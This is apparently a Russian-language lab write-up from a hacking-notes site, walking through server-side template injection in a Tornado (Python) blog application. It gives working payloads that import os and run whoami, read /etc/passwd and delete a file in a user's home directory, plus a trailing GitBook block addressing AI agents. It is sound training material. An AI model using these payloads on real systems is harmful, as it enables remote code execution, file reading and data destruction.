> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/ssti/basic-ssti-in-a-python-code-context.md).

# Базовая SSTI в контексте кода Python

### Базовая инъекция шаблона на стороне сервера (контекст кода)

В этой лабораторной работе представлена уязвимость **Инъекция шаблона на стороне сервера (SSTI)** из-за небезопасного использования **Шаблон Tornado**. / Цель — выполнить произвольный код через движок шаблонов, затем удалить `morale.txt` файл, расположенный в личном каталоге Карлоса.

Предоставляется тестовая учетная запись: **wiener:peter**.

#### **Анализ приложения**

В разделе, который определяет, как пользователь хочет отображаться при комментарии, можно изменить передаваемый параметр:

<figure><img src="/files/a3737ba3d3c5d595366ca424f84465baf705c630" alt="" width="563"><figcaption></figcaption></figure>

Ошибка, возвращенная сервером, подтверждает наличие **Python/Tornado** движка, что указывает на внедрение шаблона.

```bash
blog-post-author-display=user.JAAJAJAJ&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

<figure><img src="/files/dae0662e8c56d23f2082442a59a55bc423bce519" alt="" width="551"><figcaption></figcaption></figure>

<figure><img src="/files/d806483e1a22f77a45d0b078fedbde74e05a920a" alt=""><figcaption></figcaption></figure>

#### **Базовые тесты на инъекцию**

Чтобы проверить, интерпретируется ли шаблон:

```python
{{7*7}}
}}{{7*7
```

Рендеринг подтверждает инъекцию: вычисление выполняется движком шаблонов.

<figure><img src="/files/e7fb0f8e984b8d3f7ef0f14859561862ca938300" alt=""><figcaption></figcaption></figure>

#### **Выполнение команд**

Tornado позволяет импортировать модули прямо в шаблон

```python
{{os.system('whoami')}}
{%import os%}{{os.system('whoami')}}
```

#### **Чтение файла `/etc/passwd`**

Инъекция, адаптированная к уязвимому параметру

{% code overflow="wrap" %}

```python
blog-post-author-display=user.name}}{%import os%}{{os.system('cat /etc/passwd')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}

<figure><img src="/files/3247e3439dfe52e4288015fce943c3f0d6365382" alt=""><figcaption></figcaption></figure>

#### **Удалён файл Moral.txt**

Окончательная команда для проверки лабораторной:

{% code overflow="wrap" %}

```bash
blog-post-author-display=user.name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/ssti/basic-ssti-in-a-python-code-context.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
